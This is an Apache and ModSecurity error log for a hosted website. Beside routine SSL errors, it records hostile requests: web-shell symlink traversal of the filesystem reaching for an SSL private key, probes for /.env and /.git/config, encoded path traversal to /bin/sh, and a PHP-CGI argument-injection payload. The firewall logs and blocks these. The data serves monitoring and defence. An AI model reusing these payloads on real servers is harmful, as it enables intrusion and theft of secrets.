[Sun Oct 25 05:24:12.948772 2026] [security2:error] [pid 2806347:tid 2806347] [client 85.208.96.204:11274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/grub2-get-kernel-settings"] [unique_id "at3KvISClIr6gkpjLO7VjAAAAAg"]
[Sun Oct 25 05:24:18.261621 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 50.19.221.48:32832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:24:22.143770 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 44.210.213.220:28571] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:24:29.074907 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 85.208.96.210:34890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/objects_partial
[Sun Oct 25 05:24:34.128975 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 34.203.111.15:34077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:24:54.166220 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.215.49.176:9465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:25:18.254414 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 54.85.7.119:27601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:25:20.261530 2026] [security2:error] [pid 2806347:tid 2806347] [client 185.191.171.9:47976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/cirrus/cs35l54-b0-dsp1-misc-103c8e14-amp1.bin"] [unique_id "at3LAISClIr6gkpjLO7VjwAAAAg"]
[Sun Oct 25 05:25:20.261590 2026] [security2:error] [pid 2806347:tid 2806347] [client 185.191.171.9:47976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/cirrus/cs35l54-b0-dsp1-misc-103c8e14-amp1.bin"] [unique_id "at3LAISClIr6gkpjLO7VjwAAAAg"]
[Sun Oct 25 05:25:22.152634 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.193.115.232:41737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:25:26.173218 2026] [security2:error] [pid 2800259:tid 2800259] [client 98.84.70.201:64948] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/node0/memory13/"] [unique_id "at3LBr2dQNaDuK1aHdok3gAAAAs"]
[Sun Oct 25 05:25:26.173271 2026] [security2:error] [pid 2800259:tid 2800259] [client 98.84.70.201:64948] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/node0/memory13/"] [unique_id "at3LBr2dQNaDuK1aHdok3gAAAAs"]
[Sun Oct 25 05:25:34.118996 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 54.85.109.140:62038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:25:39.391281 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 185.191.171.6:64454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8/store_user
[Sun Oct 25 05:25:50.136435 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.223.134.5:25412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:26:02.122594 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 18.213.102.186:57305] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/subsystem/drivers/battery/uevent
[Sun Oct 25 05:26:06.126422 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 35.170.205.140:50503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:26:10.133404 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.147.80.137:25229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:26:14.125261 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 54.225.81.20:49900] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:26:28.773512 2026] [security2:error] [pid 2800173:tid 2800173] [client 154.108.77.34:4102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/grav/php71/install.php"] [unique_id "at3LRMnrA_pwq9mjVbUILQAAAAY"]
[Sun Oct 25 05:26:28.773596 2026] [security2:error] [pid 2800173:tid 2800173] [client 154.108.77.34:4102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/grav/php71/install.php"] [unique_id "at3LRMnrA_pwq9mjVbUILQAAAAY"]
[Sun Oct 25 05:26:34.295951 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.205.213.231:49392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:26:38.170382 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 35.171.141.42:38783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:26:46.147190 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.209.201.119:29502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:26:54.252937 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 54.163.169.168:21285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:26:58.141471 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 35.174.141.243:52999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:02.145688 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.80.73.122:29426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:05.136920 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.3:23014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/reclaim_account
[Sun Oct 25 05:27:18.174601 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 34.227.156.153:1857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:22.171869 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.94.199.128:59052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:26.193885 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 98.84.200.43:32910] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:30.167003 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.211.181.86:40904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:46.188965 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 52.73.6.26:49587] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS1/device/driver/uevent
[Sun Oct 25 05:27:50.215940 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 98.84.60.17:50107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:54.426023 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.207.207.36:39774] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:58.208192 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 18.215.24.66:42593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:27:58.208457 2026] [security2:error] [pid 2799892:tid 2799892] [client 18.215.24.66:42593] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory13/subsystem/devices/memory19/phys_index"] [unique_id "at3LnpVuuRM02w6bkBPF0wAAAAM"]
[Sun Oct 25 05:27:58.208499 2026] [security2:error] [pid 2799892:tid 2799892] [client 18.215.24.66:42593] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory21/node0/memory13/subsystem/devices/memory19/phys_index"] [unique_id "at3LnpVuuRM02w6bkBPF0wAAAAM"]
[Sun Oct 25 05:28:06.422061 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 44.216.172.204:54614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:28:10.228758 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 54.225.98.148:20969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/exar_serial/unbind
[Sun Oct 25 05:28:17.072024 2026] [core:error] [pid 2806347:tid 2806347] (13)Permission denied: [client 85.208.96.196:16670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/cpu_slabs
[Sun Oct 25 05:28:22.387150 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 98.82.39.241:24194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/vmd/module/uevent
[Sun Oct 25 05:28:38.241125 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 50.16.216.166:62883] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:28:45.746743 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 85.208.96.210:61366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/shrink
[Sun Oct 25 05:28:46.267217 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 44.209.187.99:30656] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:28:55.837515 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 52.7.13.143:64511] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/Cavium PTP Driver/new_id
[Sun Oct 25 05:29:02.269513 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 44.205.74.196:16353] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:29:22.296458 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.227.180.70:39790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:29:26.273438 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 54.235.172.108:5191] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:29:29.253457 2026] [security2:error] [pid 2806341:tid 2806341] [client 85.208.96.197:29510] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/http/cookies.py"] [unique_id "at3L-V7qbMmJbBwRWmCzDwAAAAA"]
[Sun Oct 25 05:29:29.253533 2026] [security2:error] [pid 2806341:tid 2806341] [client 85.208.96.197:29510] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/http/cookies.py"] [unique_id "at3L-V7qbMmJbBwRWmCzDwAAAAA"]
[Sun Oct 25 05:29:38.290678 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.200.54.136:24396] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:29:42.293445 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.231.193.38:20132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:29:54.304515 2026] [ssl:error] [pid 2800173:tid 2800173] (22)Invalid argument: [client 54.147.182.90:38222] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:30:06.337107 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 44.196.118.6:31805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:30:10.417188 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 50.16.216.166:38229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:30:22.494012 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 100.29.155.89:37689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:30:30.369053 2026] [ssl:error] [pid 2806341:tid 2806341] (5)Input/output error: [client 34.233.219.155:36138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:30:38.429641 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 34.196.114.170:44718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/ttyS1/iomem_base
[Sun Oct 25 05:30:44.257724 2026] [security2:error] [pid 2806341:tid 2806341] [client 185.191.171.16:50742] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d60c4_0a9a5_2c927d6d772c4e44a704512e405610f2.key"] [unique_id "at3MRF7qbMmJbBwRWmCzEwAAAAA"]
[Sun Oct 25 05:30:44.258106 2026] [security2:error] [pid 2806341:tid 2806341] [client 185.191.171.16:50742] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d60c4_0a9a5_2c927d6d772c4e44a704512e405610f2.key"] [unique_id "at3MRF7qbMmJbBwRWmCzEwAAAAA"]
[Sun Oct 25 05:30:44.258387 2026] [security2:error] [pid 2806341:tid 2806341] [client 185.191.171.16:50742] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/d60c4_0a9a5_2c927d6d772c4e44a704512e405610f2.key"] [unique_id "at3MRF7qbMmJbBwRWmCzEwAAAAA"]
[Sun Oct 25 05:30:46.417079 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 18.214.238.178:29429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:30:58.427943 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 44.212.131.50:20478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:31:10.379028 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 52.71.203.206:3215] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:31:34.746508 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.202.88.37:49070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:31:42.485387 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 52.205.222.214:12247] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0C0F:03/subsystem/devices/LNXCPU:01/physical_node/driver/cpu0/crash_notes
[Sun Oct 25 05:31:48.911993 2026] [security2:error] [pid 2800300:tid 2800300] [client 165.227.102.187:60570] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3MhNyUatkAjssgRUdxcAAAAA4"]
[Sun Oct 25 05:31:48.912245 2026] [security2:error] [pid 2800300:tid 2800300] [client 165.227.102.187:60570] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3MhNyUatkAjssgRUdxcAAAAA4"]
[Sun Oct 25 05:31:48.913245 2026] [security2:error] [pid 2800300:tid 2800300] [client 165.227.102.187:60570] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3MhNyUatkAjssgRUdxcAAAAA4"]
[Sun Oct 25 05:31:50.627000 2026] [security2:error] [pid 2800173:tid 2800173] [client 165.227.102.187:60582] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at3MhsnrA_pwq9mjVbUIPwAAAAY"]
[Sun Oct 25 05:31:50.627219 2026] [security2:error] [pid 2800173:tid 2800173] [client 165.227.102.187:60582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at3MhsnrA_pwq9mjVbUIPwAAAAY"]
[Sun Oct 25 05:31:50.628235 2026] [security2:error] [pid 2800173:tid 2800173] [client 165.227.102.187:60582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3MhsnrA_pwq9mjVbUIPwAAAAY"]
[Sun Oct 25 05:32:10.540075 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.210.204.255:5013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:32:14.494598 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.208.156.9:46748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:32:26.573587 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 52.207.47.227:10270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/subsystem/ata2/device/host1/target1:0:0/1:0:0:0/driver/module/drivers/scsi:sr/1:0:0:0/delete
[Sun Oct 25 05:32:43.996765 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 185.191.171.18:46986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:32:50.754113 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 50.19.221.48:27925] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input3/device/driver/uevent
[Sun Oct 25 05:32:54.731939 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.44.229.124:54968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:33:06.603021 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 54.225.98.148:16697] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty4/subsystem/ptmx/subsystem/ttyS1/device/tty/ttyS2/io_type
[Sun Oct 25 05:33:14.820745 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.195.248.30:62578] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:33:18.739251 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.222.85.38:14705] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:33:20.483427 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 185.191.171.17:56476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:33:30.980060 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 54.145.82.217:16037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:1e/eject
[Sun Oct 25 05:33:36.431103 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 185.191.171.5:29626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/store_user
[Sun Oct 25 05:33:46.817138 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 184.73.195.18:44613] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:33:47.398047 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 85.208.96.197:27018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/partial
[Sun Oct 25 05:33:58.899401 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 18.214.124.6:52819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:34:06.789389 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 52.207.47.227:11987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:34:10.789565 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 18.214.186.220:6114] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:34:25.456372 2026] [core:error] [pid 2799890:tid 2799890] [client 38.146.25.142:60706] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sun Oct 25 05:34:25.880661 2026] [core:error] [pid 2806347:tid 2806347] [client 38.146.25.142:60710] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Sun Oct 25 05:34:26.268323 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at3NIg-YVEbWS5meiuhg2gAAAAw"]
[Sun Oct 25 05:34:26.268460 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "at3NIg-YVEbWS5meiuhg2gAAAAw"]
